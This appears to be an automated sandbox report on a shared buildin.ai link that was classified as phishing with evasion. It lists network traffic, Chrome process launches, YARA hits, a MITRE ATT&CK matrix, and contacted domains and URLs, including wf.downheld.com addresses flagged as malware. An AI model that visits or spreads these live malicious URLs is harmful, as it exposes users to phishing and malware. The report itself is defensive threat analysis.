Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50089
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50088
Source: unknown	Network traffic detected: HTTP traffic on port 50079 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50090
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50092
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50091
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50094
Source: unknown	Network traffic detected: HTTP traffic on port 50136 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49983 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50093
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50096
Source: unknown	Network traffic detected: HTTP traffic on port 49938 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50023 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50095
Source: unknown	Network traffic detected: HTTP traffic on port 49811 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49754 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50018
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50017
Source: unknown	Network traffic detected: HTTP traffic on port 50193 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50019
Source: unknown	Network traffic detected: HTTP traffic on port 49813 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49951 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50010
Source: unknown	Network traffic detected: HTTP traffic on port 49916 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50012
Source: unknown	Network traffic detected: HTTP traffic on port 50055 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50011
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50014
Source: unknown	Network traffic detected: HTTP traffic on port 50090 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50013
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50016
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50015
Source: unknown	Network traffic detected: HTTP traffic on port 50161 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49776 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49845 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50029
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50028
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50021
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50020
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50023
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50022
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50025
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50024
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50027
Source: unknown	Network traffic detected: HTTP traffic on port 49879 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50026
Source: unknown	Network traffic detected: HTTP traffic on port 49985 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50021 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50030
Source: unknown	Network traffic detected: HTTP traffic on port 50138 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50067 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50039
Source: unknown	Network traffic detected: HTTP traffic on port 49995 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50011 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50032
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50031
Source: unknown	Network traffic detected: HTTP traffic on port 49857 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50034
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50033
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50036
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50035
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50038
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50037
Source: unknown	Network traffic detected: HTTP traffic on port 49801 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50041
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50040
Source: unknown	Network traffic detected: HTTP traffic on port 50104 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50089 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49973 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50203 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50033 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50043
Source: unknown	Network traffic detected: HTTP traffic on port 49835 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50042
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50045
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50044
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50047
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50046
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50049
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50048
Source: unknown	Network traffic detected: HTTP traffic on port 49880 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50050
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50052
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50051
Source: unknown	Network traffic detected: HTTP traffic on port 50126 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49792 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49890 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50168 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50122 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49912 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49958 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49889 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49946 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50018 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50077 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50134 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49855 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50053 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49981 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49924 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49729 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50099 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49831 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50031 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50156 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50043 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50100 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49782 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49740 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50207 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49808 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50006 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50181 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50065 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49867 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49865 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49942
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49941
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49940
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50098
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50097
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50099
Source: unknown	Network traffic detected: HTTP traffic on port 50112 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50075 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50158 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49833 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49938
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49937
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49936
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49935
Source: unknown	Network traffic detected: HTTP traffic on port 49902 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49934
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49933
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49932
Source: unknown	Network traffic detected: HTTP traffic on port 50087 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49931
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49930
Source: unknown	Network traffic detected: HTTP traffic on port 50008 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49971 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49936 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49929
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49928
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49927
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49926
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49925
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49924
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49923
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49922
Source: unknown	Network traffic detected: HTTP traffic on port 49739 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49921
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49920
Source: unknown	Network traffic detected: HTTP traffic on port 50063 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50124 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49678 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49821 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49877 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50217 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49914 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49919
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49918
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49917
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49916
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49915
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49914
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49913
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49912
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49911
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49910
Source: unknown	Network traffic detected: HTTP traffic on port 49948 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50041 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49843 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50146 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49899 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50097 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49909
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49908
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49907
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49906
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49905
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49904
Source: unknown	Network traffic detected: HTTP traffic on port 49750 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49993 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49903
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49902

Source: unknown	HTTPS traffic detected: 142.250.72.100:443 -> 192.168.2.4:49720 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.8.141.121:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.8.141.121:443 -> 192.168.2.4:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.229:443 -> 192.168.2.4:49727 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.1.229:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49733 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49732 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.14:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 43.152.135.172:443 -> 192.168.2.4:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.9.44:443 -> 192.168.2.4:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.234.1.137:443 -> 192.168.2.4:49751 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 204.79.197.222:443 -> 192.168.2.4:49759 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.52.188.215:443 -> 192.168.2.4:49770 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.52.188.215:443 -> 192.168.2.4:49768 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.52.188.215:443 -> 192.168.2.4:49766 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.52.188.215:443 -> 192.168.2.4:49767 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 52.52.188.215:443 -> 192.168.2.4:49769 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.8.44:443 -> 192.168.2.4:49772 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 62.234.1.137:443 -> 192.168.2.4:49771 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49774 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.16.1:443 -> 192.168.2.4:49773 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.35.93.120:443 -> 192.168.2.4:49779 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.75:443 -> 192.168.2.4:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.75:443 -> 192.168.2.4:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.71.75:443 -> 192.168.2.4:49785 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:49789 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49790 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.24.14:443 -> 192.168.2.4:49791 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.168.73.27:443 -> 192.168.2.4:49803 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49812 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49815 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49826 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49827 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49832 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49834 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49829 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49836 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49866 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49868 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49869 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49865 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49907 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49912 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49911 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49963 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49965 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49968 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49970 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:49971 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50061 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50062 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50066 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50140 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50143 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50145 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50146 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.4.62:443 -> 192.168.2.4:50137 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:50216 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir1040_1732717031

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir1040_1732717031

Jump to behavior

Source: classification engine

Classification label: mal100.phis.evad.win@22/681@52/19

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2340,i,15036748438523786401,15822912383731305520,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2320 /prefetch:3
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2340,i,15036748438523786401,15822912383731305520,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2320 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 2.26..script.csv, type: HTML
Source: Yara match	File source: 2.29..script.csv, type: HTML
Source: Yara match	File source: 1.14.d.script.csv, type: HTML
Source: Yara match	File source: 2.7.pages.csv, type: HTML
Source: Yara match	File source: 2.6.pages.csv, type: HTML
Source: Yara match	File source: 2.5.pages.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
https://buildin.ai/share/5a345237-8f26-47b9-9ffb-209d1d646648?code=0GHW42&embed=true	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label
https://vzm.hqfyed.ru/machlo@ezq6	0%	Avira URL Cloud	safe
https://wf.downheld.com/Roboto-Regular.woff2	100%	Avira URL Cloud	malware
https://cdn.buildin.ai/assets/index-legacy.1b0b2221.js	0%	Avira URL Cloud	safe
https://cdn.buildin.ai/assets/flowus-1673199d.js	0%	Avira URL Cloud	safe
https://cdn.buildin.ai/assets/lodash-e50e3886.js	0%	Avira URL Cloud	safe
https://cdn.buildin.ai/assets/index-3e450ade.css	0%	Avira URL Cloud	safe
https://cdn.buildin.ai/assets/index-b987e8a9.js	0%	Avira URL Cloud	safe
https://cdn.buildin.ai/fe-web-app-images/favicon.png	0%	Avira URL Cloud	safe
https://cdn.buildin.ai/assets/polyfills-legacy.d298c497.js	0%	Avira URL Cloud	safe
https://wf.downheld.com/vb8tMsPZSikt84QRN3jKD3o	100%	Avira URL Cloud	malware
https://jjy.fyaadd.cn/api/?callback=1-9&channel=shangeyouxiang	0%	Avira URL Cloud	safe
https://wf.downheld.com/Roboto-Medium.woff2	100%	Avira URL Cloud	malware
https://wf.downheld.com/GDSherpa-vf2.woff2	100%	Avira URL Cloud	malware
https://cdn.buildin.ai/emoji/katex.min.css	0%	Avira URL Cloud	safe
https://wf.downheld.com/GoogleSans-Regular.woff2	100%	Avira URL Cloud	malware
https://wf.downheld.com/GDSherpa-regular.woff	100%	Avira URL Cloud	malware
https://cdn.buildin.ai/assets/index-c619d35b.js	0%	Avira URL Cloud	safe
https://wf.downheld.com/rsWcpck21SgGMI0eamabrXMacXmL3EkJOPRjdLlkoKmEvCDmFyaz7zyzSgLno8nxBBP1wDO3mfvRfXD6f0ZwF9oFufRE8fB9lqUzX1CVFu2cd510	100%	Avira URL Cloud	malware

Domains and IPs

Download Network PCAP: filtered – full

Contacted Domains

Name	IP	Active	Malicious	Reputation
jsdelivr.map.fastly.net	151.101.1.229	true	false	high
flagpedia.net	104.26.4.62	true	false	high
a.nel.cloudflare.com	35.190.80.1	true	false	high
beacons-handoff.gcp.gvt2.com	172.253.124.94	true	false	high
jjy.fyaadd.cn	62.234.1.137	true	false	high
ipapi.co	104.26.9.44	true	false	high
vzm.hqfyed.ru	104.21.71.75	true	false	unknown
code.jquery.com	151.101.130.137	true	false	high
d2vgu95hoyrpkh.cloudfront.net	3.168.73.27	true	false	high
jxt2rgi0.ovslegodl.sched.ovscdns.com	43.152.135.172	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
d2vo7bzboe1rq2.cloudfront.net	13.35.93.14	true	false	unknown
www.google.com	142.250.72.100	true	false	high
wf.downheld.com	104.21.16.1	true	true	unknown
buildin.ai	52.8.141.121	true	false	high
cdn.buildin.ai	unknown	unknown	false	high
cdn.jsdelivr.net	unknown	unknown	false	high
beacons.gcp.gvt2.com	unknown	unknown	false	high
res.wx.qq.com	unknown	unknown	false	high
cdn.socket.io	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://flagpedia.net/data/flags/w20/is.png	false		high
https://vzm.hqfyed.ru/machlo@ezq6	false	Avira URL Cloud: safe	unknown
https://flagpedia.net/data/flags/w20/am.png	false		high
https://buildin.ai/api/users/me	false		high
https://cdn.buildin.ai/assets/flowus-1673199d.js	false	Avira URL Cloud: safe	unknown
https://buildin.ai/api/docs/6c5b0932-dcf8-42f1-95e4-bfa1ed94f5c4	false		high
https://flagpedia.net/data/flags/w20/ee.png	false		high
https://flagpedia.net/data/flags/w20/mv.png	false		high
https://wf.downheld.com/Roboto-Regular.woff2	false	Avira URL Cloud: malware	unknown
https://flagpedia.net/data/flags/w20/tl.png	false		high
https://flagpedia.net/data/flags/w20/rw.png	false		high
https://flagpedia.net/data/flags/w20/md.png	false		high
https://flagpedia.net/data/flags/w20/bd.png	false		high
https://flagpedia.net/data/flags/w20/pt.png	false		high
https://flagpedia.net/data/flags/w20/tw.png	false		high
https://flagpedia.net/data/flags/w20/hn.png	false		high
https://flagpedia.net/data/flags/w20/mk.png	false		high
https://flagpedia.net/data/flags/w20/sc.png	false		high
https://flagpedia.net/data/flags/w20/hu.png	false		high
https://flagpedia.net/data/flags/w20/ga.png	false		high
https://wf.downheld.com/Te2y0P/	true		unknown
https://ipapi.co/country_code/	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://flagpedia.net/data/flags/w20/et.png	false		high
https://flagpedia.net/data/flags/w20/np.png	false		high
https://flagpedia.net/data/flags/w20/jm.png	false		high
https://flagpedia.net/data/flags/w20/mz.png	false		high
https://flagpedia.net/data/flags/w20/bg.png	false		high
